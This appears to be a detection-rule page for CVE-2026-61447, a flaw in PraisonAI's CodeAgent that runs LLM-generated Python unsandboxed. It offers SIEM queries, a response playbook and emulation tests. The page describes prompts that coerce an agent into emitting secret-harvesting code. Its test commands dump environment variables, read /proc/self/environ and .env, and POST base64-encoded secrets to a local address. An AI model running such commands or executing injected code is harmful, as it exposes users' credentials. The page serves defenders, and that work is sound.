CVE-2026-61447

PraisonAI CodeAgent Unsandboxed LLM Code Execution & Secret Exfiltration (CVE-2026-61447)

Execution Exfiltration Credential Access Last updated:

Detects exploitation of CVE-2026-61447, a CVSS 10.0 flaw in the PraisonAI praisonaiagents Python package (<= 1.6.77) where CodeAgent executes LLM-generated Python code without any sandboxing. An attacker who can influence agent prompts can coerce the LLM into emitting arbitrary Python that runs in the host process context, enabling remote code execution and wholesale exfiltration of environment variables (API keys, cloud credentials, DB secrets). This detection surfaces vulnerable package versions, the Python interpreter spawning suspicious child processes or network connections from an agent runtime, and telemetry consistent with environment-secret harvesting (os.environ dumps, reads of .env, outbound exfil).

Vulnerability Intelligence

Public PoC

Affected Software

Vendor
pip
Product
praisonaiagents
Versions
<= 1.6.77

Weakness (CWE)

CWE-94CWE-200

Timeline

Disclosed
August 11, 2026

CVSS

10.0
Critical (9.0–10)

CVSS 10.0

Write-up coming soon

What is CVE-2026-61447 PraisonAI CodeAgent Unsandboxed LLM Code Execution & Secret Exfiltration (CVE-2026-61447)?

PraisonAI CodeAgent Unsandboxed LLM Code Execution & Secret Exfiltration (CVE-2026-61447) (CVE-2026-61447) maps to the Execution and Exfiltration and Credential Access tactics — the adversary is trying to run malicious code in MITRE ATT&CK.

This page provides production-ready detection logic for PraisonAI CodeAgent Unsandboxed LLM Code Execution & Secret Exfiltration (CVE-2026-61447), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, DeviceProcessEvents. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Execution Exfiltration Credential Access
Microsoft Sentinel / Defender
kusto 
let agentProcs = dynamic(["python","python3","python.exe","uvicorn","gunicorn"]);
DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where InitiatingProcessFileName in~ (agentProcs) or FileName in~ (agentProcs)
| where (ProcessCommandLine has_any ("praisonai","praisonaiagents","CodeAgent"))
    or (ProcessCommandLine has "os.environ" or ProcessCommandLine has_any ("printenv","/proc/self/environ","env") )
| where ProcessCommandLine has_any ("os.environ","printenv","base64","curl","wget","requests.post","urllib","socket","subprocess","eval(","exec(","__import__")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by TimeGenerated desc

Flags PraisonAI/python agent processes whose command line or spawned children reference environment-variable dumping, encoding, or outbound network primitives — consistent with CodeAgent running LLM-generated exfiltration code.

critical severity medium confidence

Data Sources

Microsoft Defender for Endpoint DeviceProcessEvents

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate PraisonAI CodeAgent workloads that intentionally read environment configuration during normal operation
  • Developers debugging agent code locally with printenv or os.environ inspection
  • CI/CD pipelines that legitimately base64-encode build artifacts from python processes

Sigma rule & cross-platform mapping

The detection logic for PraisonAI CodeAgent Unsandboxed LLM Code Execution & Secret Exfiltration (CVE-2026-61447) (CVE-2026-61447) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for CVE-2026-61447 Sigma rules on detection.fyi

Platform-specific guides for CVE-2026-61447

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-10-18 Research depth: standard
References (5)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulate CodeAgent executing LLM-generated environment dump

    Expected signal: Process start event for python3 with command line referencing os.environ.

  2. Test 2 Simulate secret exfiltration via base64-encoded POST

    Expected signal: python3 process with command line containing os.environ, base64, and urllib; outbound connection attempt.

  3. Test 3 Read .env and /proc/self/environ from python

    Expected signal: python process reading /tmp/.env and /proc/self/environ; process start with those paths in command line.

  4. Test 4 Windows PraisonAI CodeAgent exec simulation

    Expected signal: python.exe process start with command line containing exec( and os.environ.

Response Playbook

Triage

  1. Confirm whether the affected host runs the PraisonAI praisonaiagents Python package: run `pip show praisonaiagents` (or inspect the venv/requirements lockfile) and flag any version <= 1.6.77.
  2. Determine whether CodeAgent is actually instantiated and reachable by untrusted input — grep the application for `CodeAgent(` and trace which prompts/tools feed it user-controlled or web-sourced content.
  3. Review the flagged python process command line and spawned children for os.environ dumps, reads of .env or /proc/self/environ, and outbound connections to unexpected hosts, correlating timestamps with agent request logs.
  4. Pull the LLM prompt/response transcript around the event window to confirm whether the model emitted code containing exfiltration logic.

Containment

  1. Immediately disable or feature-flag the CodeAgent surface, or block untrusted input paths to it, until the package is upgraded past 1.6.77.
  2. Isolate the affected host/container from the network if active secret exfiltration is confirmed, and quarantine the python process.

Evidence Collection

  1. Capture the full process tree, command lines, and loaded modules for the python agent process, plus any outbound netflow/DNS from that PID.
  2. Preserve application logs, LLM request/response transcripts, and the .env / environment snapshot of the process to establish which secrets were exposed.

Escalation Criteria

  • ! Escalate to IR if environment secrets (cloud keys, API tokens, DB credentials) were read and any outbound connection left the host after that read.
  • ! Escalate to credential-rotation workflow immediately if os.environ/printenv output was observed being encoded (base64) and transmitted, treating all process secrets as compromised.

Investigation Guide

Forensic Artifacts

  • > python process command lines and child-process tree
  • > outbound connection/DNS records from the agent PID
  • > LLM prompt/response transcripts and application request logs
  • > .env files and the environment block of the agent process (/proc/<pid>/environ on Linux)

Tuning Guidance

Baseline legitimate PraisonAI/CodeAgent hosts and allowlist their expected environment reads at startup, then alert on the conjunction of secret access with outbound-network or base64 encoding. In environments without CodeAgent exposed to untrusted input, prioritize the version-inventory signal (praisonaiagents <= 1.6.77) over behavioral matches to reduce noise. Narrow process filters to the specific service accounts running agents, and exclude known developer workstations from behavioral rules to cut false positives.

Hunting Queries

Hunts across 30 days for python processes that read environment secrets and also invoke encoding or network-exfil primitives, independent of the PraisonAI keyword.

Hunting — KQL
kql 
DeviceProcessEvents | where TimeGenerated > ago(30d) | where InitiatingProcessFileName in~ ("python","python3","python.exe") | where ProcessCommandLine has_any ("os.environ","printenv","/proc/self/environ") and ProcessCommandLine has_any ("base64","requests.post","curl","wget","urllib","socket") | project TimeGenerated, DeviceName, ProcessCommandLine
Hunting — SPL
spl 
index=endpoint process_name IN ("python","python3","python.exe") (process="*os.environ*" OR process="*printenv*" OR process="*/proc/self/environ*") (process="*base64*" OR process="*requests.post*" OR process="*curl*" OR process="*wget*" OR process="*socket*") | table _time host process

Atomic Red Team Tests

Test 1 Simulate CodeAgent executing LLM-generated environment dump
linux

Runs a python one-liner that dumps all environment variables, emulating unsandboxed LLM-generated code harvesting secrets.

Command

bash 
python3 -c "import os,json;print(json.dumps(dict(os.environ)))"

Cleanup

bash 
unset TEST_SECRET 2>/dev/null; true

Expected Telemetry

Process start event for python3 with command line referencing os.environ.

Expected Detection

KQL/SPL/EDR rules flag python process command line containing os.environ.

Test 2 Simulate secret exfiltration via base64-encoded POST
linux

Emulates the full exploit chain: read environment, base64-encode, and attempt an outbound POST of the encoded secrets.

Command

bash 
python3 -c "import os,base64,urllib.request;d=base64.b64encode(str(dict(os.environ)).encode());urllib.request.urlopen('http://127.0.0.1:9/'+d.decode()[:8])" 2>/dev/null; true

Cleanup

bash 
true

Expected Telemetry

python3 process with command line containing os.environ, base64, and urllib; outbound connection attempt.

Expected Detection

Behavioral rules match conjunction of environment access with base64 and urllib/network primitives.

Test 3 Read .env and /proc/self/environ from python
linux

Simulates an agent reading on-disk and in-memory secret stores, a common post-exploitation action.

Command

bash 
echo 'API_KEY=lab-dummy' > /tmp/.env && python3 -c "open('/tmp/.env').read(); open('/proc/self/environ','rb').read()"

Cleanup

bash 
rm -f /tmp/.env

Expected Telemetry

python process reading /tmp/.env and /proc/self/environ; process start with those paths in command line.

Expected Detection

Hunting queries and file-access telemetry flag python reads of .env and /proc/self/environ.

Test 4 Windows PraisonAI CodeAgent exec simulation
windows

Emulates CodeAgent exec() of LLM-generated code dumping environment variables on Windows.

Command

powershell 
python.exe -c "import os;exec('import json;print(json.dumps(dict(os.environ)))')"

Cleanup

powershell 
echo no-cleanup-needed

Expected Telemetry

python.exe process start with command line containing exec( and os.environ.

Expected Detection

Sysmon/EDR rules match python.exe command line combining exec( with os.environ.

Related Detections

Tactic Hubs

TA0002 Execution TA0010 Exfiltration TA0006 Credential Access

Related Techniques

T1059.006 Python T1552.001 Credentials In Files T1041 Exfiltration Over C2 Channel

Same Tactic: Execution

Popular Detections